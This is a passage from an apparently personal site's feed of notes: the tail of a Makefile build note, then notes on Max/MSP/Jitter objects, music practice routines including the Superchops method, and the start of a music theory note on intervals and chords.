                    using a <em>unity build</em> approach, I’ll just
                    generate the <code>main</code> object file
                    (<code>SRC_MAIN</code>), but sometimes I like to
                    compile larger/more complex targets as separate
                    <code>.o</code> files (<code>SRC_OBJ</code>).</p>
                    <p>Instead of generating dependency trees, I just
                    tell the build system which files to watch for
                    changes (<code>WATCH_SRC</code>).
                    <code>TARGET</code> and <code>BIN</code> setup the
                    main name of the executable and the final binary
                    file that gets generated.</p>
                    <p>Depending on which architecture I’m compiling
                    for, I will need to set specific compilers for C and
                    assembly (<code>as</code>) or the linker
                    <code>ld</code>. Similarly I configure the flags for
                    the C compiler and linker with the usual
                    <code>CFLAGS</code> and <code>LDFLAGS</code> and any
                    external pre-compiled libraries with
                    <code>LDLIBS</code>. I also setup different
                    optimization flags for debug and release builds.</p>
                    <p>This makefile is supposed to serve as a base and
                    I’ll grow it or change it depending on the project,
                    but in general my user interface remains the
                    same:</p>
                    <ul>
                    <li><code>make</code>: will build the project.</li>
                    <li><code>make run</code>: will build and run or
                    open the resulting file.</li>
                    <li><code>make clean</code>: Will remove the
                    <code>build</code> folder and/or intermediate and
                    transitory files.</li>
                    </ul>
                    <p>I can configure compilation parameters by passing
                    them to make directly. For example to generate a
                    debug build in a separate directory, with a
                    different target name we can use:</p>
                    <pre><code>make run DEBUG=1 BUILD_DIR=build-debug TARGET=debug</code></pre>
                    <p>I’ll typically add other makefile variables if I
                    need to pass compilation parameters for example I
                    use the following to pass some macro values in one
                    of my projects:</p>
                    <pre><code>KBD_PATH   ?= /dev/input/event1
MOUSE_PATH ?= /dev/input/mice
C_DEFINES  := -DKBD_PATH=\&quot;$(KBD_PATH)\&quot; -DMOUSE_PATH=\&quot;$(MOUSE_PATH)\&quot;
CFLAGS += $(C_DEFINES)</code></pre>
                    <h2 id="resources">Resources</h2>
                    <ul>
                    <li><a
                    href="https://www.youtube.com/watch?v=FfG-QqRK4cY&amp;ab_channel=801Labs">Makefiles,
                    but in English (Video)</a></li>
                    <li><a
                    href="https://nullprogram.com/blog/2017/08/20/">Portable
                    Makefiles, by Chris Wellons</a></li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Max/MSP/Jitter</title>
            <link href="https://badd10de.dev//notes/max-msp-jitter.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/max-msp-jitter.html</id>
            <updated>2026-06-16T09:49:20Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>Max provides a multimedia processing programming
                    language and toolkit. There are three parts to it,
                    Max (the language), MSP (the DSP) and Jitter (the
                    visual processing framework).</p>
                    <p>The objects have inlets and outlets. The red
                    inlets are “hot” and blue inlets are “blue”. Blue
                    values just edits the value, but don’t trigger the
                    output of the object. If a “hot” inlet receives a
                    “bang” symbol, the object operation will be
                    triggered, causing outputs to flow. Adding a button
                    object between an outlet and inlet, it will
                    transform any input into a bang message.</p>
                    <p>The data always flows from top to bottom and
                    right to left. This may bite us in the ass if we are
                    not ready for it. For example if we have a simple
                    addition and we put a bang on the second number to
                    trigger the addition when either are modified, it
                    will work as long as the bang is to the left of the
                    rightmost inlet on the addition.</p>
                    <pre><code>v----        v----
|int|        |int|
v----        v----
|            |
|            /
|    -------|
|    |      |
|   -v-     |
|   |B|     |
|   v--     /
|   /      /
|---  -----
|     |
v-----v
|+    |
-------</code></pre>
                    <p>Objects can have arguments. For example, the
                    <code>+</code> object has an argument that sets the
                    initial value to be added. So if we have
                    <code>+ 5</code> and we have a single number box
                    connected to the hot inlet. The output will be 5 +
                    whichever number is given. Note that arguments can
                    be overriden by data coming from other inlets. For
                    the previous example, if a second number box is
                    connected to the cold inlet of <code>+</code>, it
                    will override the initial argument, so the result
                    will be the sum of both number boxes, discarding the
                    initial <code>5</code>.</p>
                    <p>When working with floating point numbers, we may
                    need to add a dot initial value to the objects. For
                    example <code>+ 0.</code> will add floating point
                    values, whereas <code>+</code> or <code>+ 0</code>
                    will add integer numbers.</p>
                    <h2 id="useful-objects-generally">Useful objects
                    generally</h2>
                    <p>Not including here the basics or arithmetic
                    operations.</p>
                    <ul>
                    <li><code>metro 30</code> and
                    <code>qmetro 30</code>: Produce a bang each 30ms (or
                    whichever number we want). Use <code>qmetro</code>
                    when we want to account for dropped frames or things
                    like that. Much better for jitter work to help in
                    our CPU usage.</li>
                    <li><code>t b i l</code>: A trigger object that has
                    an outlet for any of the given arguments (a bang,
                    integer and list in this case).</li>
                    <li><code>sel 1 2 3 4 5 6</code>: Sends a bang to
                    one of the outlets that matches the value tested in
                    the first outlet.</li>
                    <li><code>attrui</code>: Pops an UI that can be used
                    to adjust parameters on an object.</li>
                    <li><code>counter 1 10</code>: Each time that it
                    receives a bang, it will output its current value
                    and increment the counter.</li>
                    <li><code>scale 0 99 0 599</code>: Scales the input
                    number in a 0-99 range to a 0-600 range.</li>
                    <li><code>line 0.</code>: Linearly interpolates the
                    given floating point value. Expects a floating point
                    number and a time value in ms, usually the same as
                    the metronome:
                    <code>scale -&gt; pack f 500 -&gt; line 0.</code>.</li>
                    <li><code>jit.movie</code>: Needs a
                    <code>read</code> message and a bang and outputs a
                    frame of the given movie.</li>
                    <li><code>jit.brcosa</code>: Allow us to adjust
                    brightness, contrast and saturation.</li>
                    <li><code>jit.window</code> and
                    <code>jit.pwindow</code>: Basic window for visual
                    output.</li>
                    <li><code>jit.noise 4 char 20 10</code>: Outputs a 4
                    plane 8bit (rgba) noise matrix of 20 pixels (width)
                    x 10 pixels (height).</li>
                    <li><code>jit.matrix 4 char 480 320</code>: An RGBA
                    matrix with dimensions 480x320.</li>
                    <li><code>jit.unpack</code> and
                    <code>jit.pack</code>: Splits or joins a jitter
                    matrix into/from its individual planes.</li>
                    <li><code>jit.rota</code>: Scales/rotates a 2D
                    plane. Can make for very cool FX, take a look at the
                    attributes of this object</li>
                    </ul>
                    <p>Note that piping a
                    <code>jit.noise 4 char 10 10</code> into a
                    <code>jit.matrix 4 char 480 320</code> will result
                    in an upscaling transformation of the dimensions of
                    the former into the latter.</p>
                    <h2 id="shortcuts">Shortcuts</h2>
                    <ul>
                    <li>n: new object box</li>
                    <li>m: new message box</li>
                    <li>c: comment</li>
                    <li>t: toggle</li>
                    <li>b: button (bang)</li>
                    <li>i: integer number box</li>
                    <li>f: float number box</li>
                    <li>cmd + e: lock/unlock patch</li>
                    <li>cmd + j: resize object</li>
                    <li>alt + drag: make a new copy of the
                    selection</li>
                    <li>alt + click: open help file for this object</li>
                    </ul>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Music Practice Routines</title>
            <link href="https://badd10de.dev//notes/music-practice.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/music-practice.html</id>
            <updated>2026-06-16T09:49:20Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <h2 id="introduction">Introduction</h2>
                    <p>Music practice is an essential skill to cultivate
                    if we want to grow as artists. Practice can mean
                    different things depending on our goals, our current
                    progress towards those goals, and how much time do
                    we have available to devote to it. Regardless,
                    consistency is key when trying to improve a skill,
                    and 15min daily practice is much more useful than
                    12h in a single day once a month. Music is an
                    unbelievable deep topic of study. Mastering a single
                    instrument can take a lifetime and one would still
                    have room to grow. Music theory, composition,
                    writing, technique, musicality, repertoire. We will
                    never be able to know everything we would like as
                    musicians in all these fields, but we can strive to
                    improve in all or some of them.</p>
                    <p>In this page you can find a number of notes
                    offering ideas for practice methods and routines.
                    Ultimately, practice routines should be personalized
                    to each individual, and in many ways there isn’t an
                    “ideal” practice schedule or perfect method that
                    will magically turn you into a music master, stay
                    clear of anyone that claims it so. Putting in
                    focused work will always yield results, sometimes
                    faster and sometimes slower and that is fine! When
                    learning ANY skill, we all go through plateaus and
                    sometimes even periods of regressed development. As
                    artists, we tend to feel like we aren’t making
                    progress or that our work is bad and you ought to
                    stop and consider that the first step for being good
                    at something is being bad at it.</p>
                    <p>With that said, there are methods that sometimes
                    can make us work more efficiently or practice
                    multiple areas simultaneously.</p>
                    <p>Ask yourself the following questions:</p>
                    <ol type="1">
                    <li>How much time can I set aside for practice?
                    Daily practice will always be better, and more time
                    will yield results faster than less, but “some” time
                    will ALWAYS be better than “no” time.</li>
                    <li>What are the areas that I want to focus on
                    improving? Trying to do everything at once can be a
                    recipe for disaster. Burnout is real and you can
                    always alternate periods of study different areas of
                    music development throughout the year. If you are
                    having fun and have the time, go for it! Everyone
                    has a different rhythm and availability. Choose 1 or
                    2 areas to improve and give yourself a period of
                    time for those.</li>
                    <li>What are my short and long term goals and
                    ambitions? Not everyone wants or needs to play an
                    instrument like a virtuoso, sometimes “good enough”
                    is more than good enough! Sometimes fun or social
                    interaction is the main objective. Maybe you just
                    want to play the blues, maybe you are into jazz or
                    heavy metal, or all of them. Do you want to learn to
                    improvise and solo? Are you more interested in
                    rhythm? Will you stop at nothing to be a world class
                    composer? Do you want to be in a band or go to open
                    mic nights? Be realistic but aim as high as you
                    want, its better to believe in an utopia than give
                    in to despair.</li>
                    <li>Which time of the day would you be able to
                    start? I personally advocate for doing it first
                    thing in the day if you can afford it (or the
                    earliest you can), specially if you are getting
                    started. In my eyes, willpower is a bucket that
                    refills during the night and slowly leaks out during
                    the day, pouring out as we do tiresome or boring
                    activities. Everyone is different and what works for
                    me may be different than what for you! Also we all
                    have responsibilities we can’t escape, so try to
                    find a time that works for you, any time is fine.
                    Try to schedule it if possible, put it in your
                    calendar and make it a priority.</li>
                    <li>Are you prone to distractions? I certainly am,
                    which is why before I start I try to unclutter as
                    much as possible, sometimes going as far as
                    disconnecting from the internet or leaving the phone
                    in a different room. Try to keep your environment
                    clear of anything non-essential during your practice
                    time. In the same manner, if you can try to leave
                    things ready the day before. Having to connect a
                    bunch of cables or even taking instruments from a
                    case that is in a different room will increase the
                    chance your mind will wonder and will be more
                    difficult to start. This effect is very dramatic for
                    me, having a guitar rack with my instruments on
                    display will make me pick one way more often, and
                    sometimes a bit of noodling can be inspiring you to
                    go on a 5h songwriting spree.</li>
                    <li>For how long will you be able to keep a
                    schedule? I find it helpful to have periods of
                    practice and soft “deadlines”. For example you can
                    do monthly challenges (a jam a day, a song a week,
                    etc.) or methods that go on for a semester, a
                    quarter or a year. This is not strictly necessary,
                    but think about it this way, you can always start a
                    new period right after you finished the previous
                    one, and this would be ideally what you would
                    do.</li>
                    </ol>
                    <p>Use those questions to guide you in creating a
                    practice routing that works for you and remember
                    that if the one you are doing doesn’t work out, you
                    can always change it! Just make sure to give it a
                    chance at least, don’t switch things around on the
                    daily.</p>
                    <p>Without further ado, here are some suggestions
                    for different areas of learning.</p>
                    <h2 id="instrument-practice">Instrument
                    Practice</h2>
                    <p>If you play an instrument (or several) and want
                    to become proficient at using them and more directly
                    translating the sounds and patterns in your head
                    into sound, you must practice. It doesn’t matter
                    which instrument we play, from guitar and drums to
                    synths, sequencers and Eurorack modules (or even
                    your computer!), all of them benefit from regular
                    practice. Many of these areas of practices are often
                    intertwined, and we can practice some of them
                    simultaneously with different exercises.</p>
                    <p>Personally I’m a fan of trying to always practice
                    in a musical context unless I’m drilling a
                    particular technique or phrase that needs a lot of
                    repetition. Even that, though, can be adjusted to
                    make it more practical. I believe in specificity, so
                    if all we do is play scales up and down, that’s the
                    sound that will more easily come out when we are
                    improvising or noodling around. Instead, I prefer to
                    prepare and practice lines/phrases, different scale
                    patterns, and practice arpeggios by following a
                    chord progression.</p>
                    <h3 id="knowledge">Knowledge</h3>
                    <p>Knowledge of an instrument can take many forms.
                    In a guitar one may want to learn to find all the
                    notes in the fretboard without hesitation but
                    knowing how to play scales and arpeggios in
                    different positions or registers is applicable to
                    many instruments. When practicing scales and
                    arpeggios, try to not just play them up and down
                    mindlessly unless you are learning them for the
                    first time. Instead, use different note groupings,
                    different ascending and descending patterns, etc.
                    Have a chord progression running in the background
                    and play to that, hearing where the chord tones are
                    the contrast and consonance between the notes we are
                    playing and those within the chords we have.
                    Experiment with different arpeggio voicings and
                    extended notes (9ths, 13ths) or skipping some (no
                    5ths). The same idea can be applied to chord
                    practice, try not to stick to the same sounds every
                    time and internalize how each voicing sounds like. A
                    very useful exercise is to visualize and/or even
                    sing the notes we are trying to play before or
                    simultaneously as we play them (Check out George
                    Benson for context).</p>
                    <p>Knowledge can mean learning how to access
                    different sound shaping tools in a synth, how to
                    sequence or adjust parameters and what each of them
                    do. This is better practice by avoiding presets and
                    trying using dedicated sound design sessions to
                    create different styles of sounds. If using presets,
                    trying to start with a sound you like and modify it
                    with intent, knowing what would you like to achieve
                    before start turning knobs. With that said,
                    sometimes random knob twisting can lead to happy
                    accidents and help us achieve new sounds we wouldn’t
                    come up with necessarily.</p>
                    <p>Knowledge is also understanding how to maintain
                    and repair your instrument when such thing is
                    needed, this is somewhat a more difficult skill to
                    practice unless you work on a repair shop or
                    similar, but I try to do all maintenance of my
                    instruments myself whenever possible.</p>
                    <p>Knowledge may also be understanding the language
                    of the style of music we want to play and the
                    vocabulary that is employed in it. Learning classic
                    licks/phrases, chord progressions, songs
                    (e.g. 12-bar blues) and the common lingo is
                    important to be able to communicate with other
                    musicians within the same style. Build your
                    vocabulary not only by playing and creating, but
                    also (specially) by listening to other artists in
                    the style and internalizing the lines in our own
                    playing. This also applies to electronic music! You
                    aren’t making Drum-and-bass if you don’t know how
                    the instruments interact, the sounds they typically
                    have or the speed you are supposed to play it as.
                    DnB is not DnB if you play it at 50bpm isn’t it?</p>
                    <h3 id="technique">Technique</h3>
                    <p>Ah yes, technique! The obsession of music players
                    all over the world, sometimes by necessity,
                    sometimes by a sense of wonder, and often times
                    practiced for fitness. If you are playing fast
                    Rachmaninoff passages or learning guitar shred solos
                    you <em>need</em> to have a high level of technique.
                    If you are playing blues, you may <em>want</em> a
                    certain level of technique for specific phrases but
                    you could express yourself just fine with simpler
                    and carefully chosen notes. Ask yourself what kind
                    of level you want to have for the music you are
                    interested in and don’t get obsessed with being the
                    fastest player in the world if you don’t need to. I
                    try to aim to be able to slightly go above the
                    target speed that a song calls for, as it gives you
                    a buffer. After all, if you are able to play
                    something at 120bpm, you <em>should</em> be able to
                    play it easier at 110.</p>
                    <p>Speed is just one part of the study of technique.
                    It is important that, at whichever speed we are
                    playing, everything sounds clear. Focusing only on
                    speed without listening to our tone is a recipe for
                    sounding sloppy. Play only as fast as you can
                    without making mistakes and with all your notes
                    ringing clearly and in tune. I won’t go into much
                    detail for specific techniques for different
                    instruments, but things like guitar bending or
                    vibrato, vocal falsetto, or violin bowings require
                    their own dedicated practice time. In the context of
                    computer or synth music making, technique could
                    involve learning shortcuts for your DAW, practicing
                    performance transitions in your synths or any number
                    of parameter automation/live playing. I’ll repeat it
                    again, speed is not the only technique we need to
                    focus when practicing an instrument.</p>
                    <p>When practicing technique, specially in dedicated
                    sessions, make sure you spend a bit of time warming
                    up with slower exercises and stretching. Often
                    physical health is ignored in practice routines but
                    with a bit of care you should be able to practice
                    for more time and more often while avoiding
                    injuries. When injuries do happen, please try to
                    address them as soon as possible and understand that
                    they can take time to fully heal. Adjust your
                    playing and practice as necessary.</p>
                    <p>Try to always practice with a metronome or some
                    rhythmic pulse of some kind (playing to drums or a
                    pre-recorded rhythm). The key of improving speed is
                    progressive increase and patience. You will not be
                    playing fast in a day just because you set your
                    metronome to 300bpm. At the beginning of the session
                    try to stablish your baseline for the day and do
                    your exercises at that timing only increasing the
                    speed if we can play everything smoothly and mistake
                    free. Be relaxed, as strain is the enemy of speed,
                    but be mindful that as we approach our limits we
                    will be more tense. Try to reset yourself if this
                    happens. It is sometimes helpful to push past the
                    limit where we are comfortable for a bit and then
                    dial it down a notch. Keep in mind that your
                    biological rhythms change everyday, and just because
                    yesterday you could play a passage flawlessly, it
                    doesn’t mean it will be the same today. Be kind to
                    yourself, take breaks and have slower sessions when
                    this happens.</p>
                    <p>To more effectively build muscle memory, favor
                    practicing lines and short passages. A long solo is,
                    after all, a connection of multiple smaller motifs.
                    Don’t lose sight of the big picture though and don’t
                    forget to practice your transitions and full
                    performances once the smaller sections are under
                    control.</p>
                    <h2 id="composition-and-writing">Composition and
                    Writing</h2>
                    <p>There are many ways of starting a music track and
                    all of them are valid. Some times you can start with
                    the theory, some with a melodic or rhythmic motif
                    and some with the harmony. Sometimes you just noodle
                    around with an instrument and magic happens!</p>
                    <p>Try to setup at least an A and B section that you
                    can use and arrange instruments so that there is
                    variation happening every 4-8 bars. This is highly
                    style dependant, but is generally a good rule of
                    thumb. I like composing by layering instruments
                    together and then dressing the parts down, sometimes
                    stripping them down to the bare minimum and
                    arranging from there. Everyone has a different
                    process so do what works for you!</p>
                    <p>Try to study existing pieces and copy their
                    structure or instrument selection. Study your heroes
                    and learn different styles. Drench yourself in their
                    compositional motifs and use them as your own.</p>
                    <p>In any case, set a dedicated time for music
                    writing and composition in your practice routine.
                    Focus on creating, instrument selection and initial
                    arrangement. Think big picture rather than details
                    (We leave that to the production and mixing
                    stage).</p>
                    <h2 id="repertoire">Repertoire</h2>
                    <p>Learning new songs is not only fun, it is also
                    very rewarding. The music and vocabulary will drip
                    into ourselves and they will come out when producing
                    our own original material. We don’t always have to
                    learn full songs, sometimes we can use some time to
                    just focus on extracting some melodic lines or
                    chordal ideas. Try to play with other people if you
                    can, but if you don’t there are many ways of playing
                    along to different sound parts, from dedicated
                    programs to MIDI tracks to using song stems or just
                    covering entire songs by yourself!</p>
                    <p>The goal of developing a repertoire can vary a
                    lot from person to person, and depending on the
                    complexity of the pieces, learning a single song can
                    take months or you may be able to cram the study of
                    10 different ones in an afternoon. For full songs, I
                    would again suggest breaking pieces down into
                    sections that can be study piecewise.</p>
                    <p>I would also include in this section practicing
                    your own material, if you are preparing a set or
                    concert for example. Only because you made it
                    doesn’t mean you will be able to perform it mistake
                    free on demand!</p>
                    <h2 id="music-theory">Music Theory</h2>
                    <p>The study of music theory is by no means
                    necessary, but knowing some basic fundamentals can
                    make a big difference. I have <a
                    href="/notes/music-theory.html">a whole page</a>
                    covering many of the facets of theory, but remember
                    to use music theory as guidelines. Use your ear to
                    have the final say in what you do.</p>
                    <p>Part of your music routine could consist in
                    analyzing existing pieces in the context of music
                    theory, extracting the chords and/or keys that are
                    in that piece and perhaps how could it be
                    reharmonized in a different context. You could then
                    use that knowledge to arrange the song in a
                    different way or use different instrumentation.</p>
                    <p>I personally can’t see theory without the
                    practice part, they need to be studied in
                    conjunction for fun and profit (the profit is the
                    fun, generally, but also growing your own
                    understanding). Try to pick one topic and explore it
                    for a bit instead of trying to take everything all
                    at once.</p>
                    <h2 id="recording-and-production">Recording and
                    Production</h2>
                    <p>Regardless of your interests with regards to
                    producing full songs, any musician will probably
                    want to familiarize themselves with the recording
                    process. From recording ideas and demos to full
                    blown orchestral arrangements there are some general
                    fundamentals that hold true. The most fundamental
                    is: “if it sounds good, it is good”. Who cares that
                    a guitar was recorded with an “el cheapo”
                    stratocaster through a solid state practice amp if
                    the results sounds just right for the track.
                    Conversely, do you really need all that fancy analog
                    equipment if you are just interested in making
                    chiptune style music in an Amiga tracker? (For the
                    record, sometimes you do! It’s all a matter of
                    flavor and the sound you are looking for in your
                    art).</p>
                    <p>If you just want to remember an idea, the voice
                    recorder in your phone is more than adequate. I use
                    it all the time for small riffs and the like. If you
                    want to share your music though, it is wise to
                    invest into some basic recording equipment and
                    learning how to use it. You don’t have to become an
                    audio engineer or a wizard to be able to obtain
                    clean recordings, a basic or second hand audio
                    interface and understanding how to properly set your
                    signal levels is in many cases more than enough to
                    get you 80% of the way. There is always processing
                    that can be done, but starting with a good quality
                    signal will make things much easier and expand your
                    options later on.</p>
                    <p>You can just record with Audacity, but learning
                    the basics of a Digital Audio Workstation (DAW) will
                    massively open the doors for creativity. Any DAW is
                    fine, there is no right or wrong, really, and the
                    concepts are very much transferable if you switch in
                    the future. Practice recording to a click track and
                    doubling your instruments. It is a humbling
                    experience sometimes, but the good news is that you
                    can always try again! Do as many takes as you want
                    and choose the best one, but don’t get obsessed with
                    perfection. They will never be perfect, but you can
                    always try to improve on the next one!</p>
                    <p>Try to improve your recording qualities everyday
                    and make sure you finish songs. Leaving songs
                    half-finished doesn’t let you see their full
                    potential. Quite often a bit of automation or some
                    transitions can tie things together. At the same
                    time, be happy to discard ideas that no longer work
                    in the context of the overall piece, you don’t have
                    to include everything you initially recorded!
                    Finishing 10 songs that sound OK will make you grow
                    more and produce overall better work than trying to
                    perfect that 1 track for 100 hours. Be prolific, and
                    remember that you don’t always have to share what
                    you do, some things you can keep for yourself. It is
                    not wasted effort if you finish a song you no longer
                    like and don’t release it, but sharing to a few
                    friends or colleagues can be helpful for the
                    feedback they can offer.</p>
                    <p>Study and practice the fundamentals of mixing and
                    mastering, like equalization and compression and
                    how/when to use them. No mix is perfect and with
                    time you will train your ear to see what you like
                    and what sounds best. Also with regards to mixing,
                    you probably don’t have a fully treated studio with
                    perfect flat response monitors and that is ok. Learn
                    to use the tools at your disposal and their
                    limitations and how to compensate for them. I mix on
                    headphones 99% of the time on my home studio and
                    once I have something mostly finished I monitor the
                    mix in studio monitors, the living room TV, my phone
                    speaker, and a variety of headphones. You can do it
                    in your car if you want or in a boombox in the
                    bathroom. Take notes as you listen and try to find a
                    happy balance for the devices your music will most
                    likely play on. You can also (and probably should)
                    use reference tracks in your style and tempo/key
                    that you know sound well in those conditions and try
                    to match your mix to it.</p>
                    <h2 id="methods">Methods</h2>
                    <h3 id="superchops-howard-roberts">Superchops
                    (Howard Roberts)</h3>
                    <p>The <a
                    href="https://www.goodreads.com/en/book/show/6024782">Superchops</a>
                    method by <a
                    href="https://en.wikipedia.org/wiki/Howard_Roberts">Howard
                    Roberts</a> is a 20 week program that helps you
                    practice your technique, repertoire and
                    improvisational skills in a musical context. I ran
                    this method once 10 years ago and it was one of the
                    most useful exercises I went through during my
                    formative years. It is so good that I’m running it
                    again on 2023 to try to get my guitar chops back to
                    what they once where. The method is focused on
                    guitar and jazz improvisation, but the concepts
                    apply to other instruments, so realistically anyone
                    can follow along. You can <a
                    href="/notes/music-practice/superchops.pdf">download
                    the out of print book here</a>.</p>
                    <p>The method consists on spending 50 min a day on
                    practicing improvisation over a series of chord
                    changes. You spend 10 min recording yourself playing
                    the chords and then play 3 rounds of improvisation
                    over them. The kicker is that you are supposed to
                    play only straight eight notes non-stop (no
                    phrasing, no bending, no rhythmic variation). Later
                    you can use triplets instead. It can be boring and
                    frustrating to see yourself repeating the same lines
                    and realizing the limitations in our vocabulary, but
                    it is well worth it.</p>
                    <p>You are supposed to start playing at a very
                    <em>very</em> slow tempo and gradually increase the
                    speed as the week progresses. Make no mistake, this
                    is a hard program, and as speed catches up you will
                    realize the shortcomings in your technique and the
                    limits of your vocabulary. Removing phrasing/rhythm
                    from the equation helps us work in our note choices
                    and trying to target the chord tones for the current
                    harmonic context. Playing scales or even chromatic
                    notes is fine, but focusing on each chord change can
                    really pay off.</p>
                    <p>The songs included in the book are unnamed but
                    they are actually known Jazz standards:</p>
                    <ul>
                    <li>W1-2: Cherokee</li>
                    <li>W3-4: Angel eyes</li>
                    <li>W5-6: Baubles, bangles and beads</li>
                    <li>W8-9: All the things you are</li>
                    <li>W10-11: Blues for alice.</li>
                    </ul>
                    <p>Each second week uses the previous week’s tune
                    transposed to a different key. If you are not into
                    Jazz, you can choose your own preferred songs. Who
                    cares? Just try to put in the work and trust the
                    process. For my own work I’ll follow the songs
                    presented in the book the first week and instead of
                    transposing I’ll choose a different song of my
                    liking.</p>
                    <p>I’ll use this opportunity to practice my all 4ths
                    tuning, so I’ll also be using my own voicings for
                    the chords. The suggested voicings in standard
                    tuning are really varied and sometimes quite hellish
                    to play, but they can make for a good exercise.</p>
                    <p>A note of caution, this method may (and probably
                    will) require way more commitment than 50 minutes
                    depending on your existing knowledge of the
                    instrument. I’ll try to prepare the voicings and
                    practice some arpeggios, triads and lines to run
                    through these chords. It may also end up taking more
                    than 20 weeks and that’s ok! Skipping a day is fine,
                    but the book recommends that you stick to the 6 on 1
                    off daily routine.</p>
                </div>
            </content>
        </entry>
                <entry>
            <title>NOTES // Music Theory</title>
            <link href="https://badd10de.dev//notes/music-theory.html"/>
            <id>tag:badd10de.dev,2023:https://badd10de.dev//notes/music-theory.html</id>
            <updated>2026-06-16T09:49:21Z</updated>
            <content type="xhtml">
                <div xmlns="http://www.w3.org/1999/xhtml">
                    <p>The following are a collection of notes on music
                    theory. Bear in mind that music “theory” should be
                    seen as more of a guideline, where patterns and
                    observations about sounds we find pleasant are
                    collected and categorized. Music theory is typically
                    studied in the context of western music, built
                    around the 12-note chromatic scale. Other styles of
                    music have different separation of notes and systems
                    of understanding, but my knowledge of these is
                    limited. Even so, the study of music theory can be
                    useful for analysis, composition, improvisation and
                    communication of musical concepts. Some of these
                    notes are built from experience, past writings or by
                    doing active reading/listening, and as such they may
                    be very similar from the original sources. The
                    resources at the end of the page should contain a
                    reference from which some these notes were
                    extracted.</p>
                    <h2 id="intervals">Intervals</h2>
                    <p>In Western tonal music, we divide the different
                    instrument ranges in a 12 note scale separated by
                    the minimum unit of a <strong>half step</strong>.
                    These notes are arranged sequentially to form the
                    <strong>chromatic scale</strong>.</p>
                    <p><img
                    src="/notes/music-theory/chromatic-scale.svg" /></p>
                    <p>By selecting a subset of notes from the chromatic
                    scale we can derive any number of major, minor or
                    exotic scales, as well as the chords therein. First,
                    we are going to take a look at intervals. You can
                    think of an “interval” in this context as the
                    difference between two pitches or the distance that
                    exists between two of the notes of the chromatic
                    scale. The notes of an interval could be played in
                    unison, in ascending form, or descending form. In
                    the following figure you can see all possible
                    intervals within an octave, starting at a half step
                    and moving half step at a time.</p>
                    <p><img
                    src="/notes/music-theory/intervals.svg" /></p>
                    <p>You can also encounter a different nomenclature
                    to refer to these intervals. In the same order:</p>
                    <pre><code>1 - b2 - 2 - b3 - 3 - 4 - b5 - 5 - #5 - 6 - b7 - 7

or

I - bII - II - bIII - III - IV - bV - V - #V - VI - bVII - VII</code></pre>
                    <p>Larger intervals, like the 9th, the 11th or the
                    13th, are also possible but it is nothing more than
                    a 2nd, 4th or 6th interval one octave above.
                    Intervals can also be inverted. To do this, put the
                    lowest note one octave higher or the other way
                    around. By doing so:</p>
                    <ul>
                    <li><strong>Major</strong> becomes
                    <strong>minor</strong> and vice versa.</li>
                    <li><strong>Diminished</strong> becomes
                    <strong>augmented</strong> and vice versa.</li>
                    <li><strong>Perfect</strong> intervals remain
                    <strong>perfect</strong>.</li>
                    <li>A <strong>tritone</strong> remains a
                    <strong>tritone</strong>.</li>
                    </ul>
                    <p>It will be really good if we could identify by
                    ear the different intervals. This is a skill that
                    can be learned, allowing us to rapidly transcribe a
                    passage or improvise over it. One of the most
                    effective ways to train this skill is to try to
                    associate different intervals to well known songs
                    that are already stuck in our heads, for example the
                    <em>Jaws</em> main theme starts with a minor 2nd,
                    while <em>Happy Birthday</em> starts with a major
                    second.</p>
                    <p>We can also classify intervals by their perceived
                    tensions or dissonances:</p>
                    <ul>
                    <li><strong>Perfect consonance</strong>: I, VIII,
                    IV, V</li>
                    <li><strong>Imperfect consonance</strong>: bIII,
                    III, #V, VI</li>
                    <li><strong>Mild dissonance</strong>: II, bVII</li>
                    <li><strong>Harsh dissonance</strong>: bII, bV,
                    VII</li>
                    </ul>
                    <h2 id="triads">Triads</h2>
                    <p>Different intervals can be grouped to obtain
                    different textures and provoke an emotional response
                    on the listener. The most common way of grouping
                    intervals is by creating <strong>triads</strong>
                    stacking a major and minor 3rd together. A triad is
                    a chord formed by the root, the 3rd and the 5th
                    intervals. Triads can be inverted twice, as we would
                    do with two-note intervals. The 4 ways of stacking
                    triads are:</p>
                    <ul>
                    <li>Major triad (1-3-5): Combining <strong>major
                    3rd</strong> and <strong>minor 3rd</strong>.</li>
                    <li>Minor triad (1-b3-5): Combining <strong>minor
                    3rd</strong> and <strong>major 3rd</strong>.</li>
                    <li>Augmented triad (1-3-#5): Combining <strong>two
                    major 3rds</strong>.</li>
                    <li>Diminished triad (1-b3-b5): Combining
                    <strong>two minor 3rds</strong>.</li>
                    </ul>
                    <p>For example, a C major triad can be created by
                    stacking a C to E major 3rd interval, and an E to G
                    minor 3rd interval.</p>
                    <p><img
                    src="/notes/music-theory/triad-types.svg" /></p>
                    <p>A lot of modern music is created with these
                    simple triads, or sometimes even simpler intervals.
                    For example, a power chord only contains the 1-5-8
                    chords, without the 3rd.</p>
                    <h2 id="seventh-chords">Seventh chords</h2>
                    <p>The two most important pieces to determine the
                    character of a chord, are the <strong>third</strong>
                    and the <strong>seventh</strong>. To find the
                    seventh of a chord we can use the same method we
                    used before, but this time we will be stacking three
                    triads instead of two. With this process the
                    following chords can be created:</p>
                    <div style="overflow-x:auto;">
                    <table>
                    <thead>
                    <tr>
                    <th style="text-align: left;">Chord name</th>
                    <th style="text-align: left;">Notation</th>
                    <th style="text-align: left;">Composition</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                    <td style="text-align: left;">Major 7th</td>
                    <td style="text-align: left;">maj7, Δ</td>
                    <td style="text-align: left;">Major triad + major
                    3rd / M + m + M</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Minor 7th</td>
                    <td style="text-align: left;">min7, m7, -7</td>
                    <td style="text-align: left;">Minor triad + minor
                    3rd / m + M + m</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Dominant</td>
                    <td style="text-align: left;">7</td>
                    <td style="text-align: left;">Major triad + minor
                    3rd / M + m + m</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Half diminished</td>
                    <td style="text-align: left;">m7b5, ø</td>
                    <td style="text-align: left;">Diminished triad +
                    major 3rd / m + m + M</td>
                    </tr>
                    <tr>
                    <td style="text-align: left;">Diminished</td>
                    <td style="text-align: left;">dim, o</td>
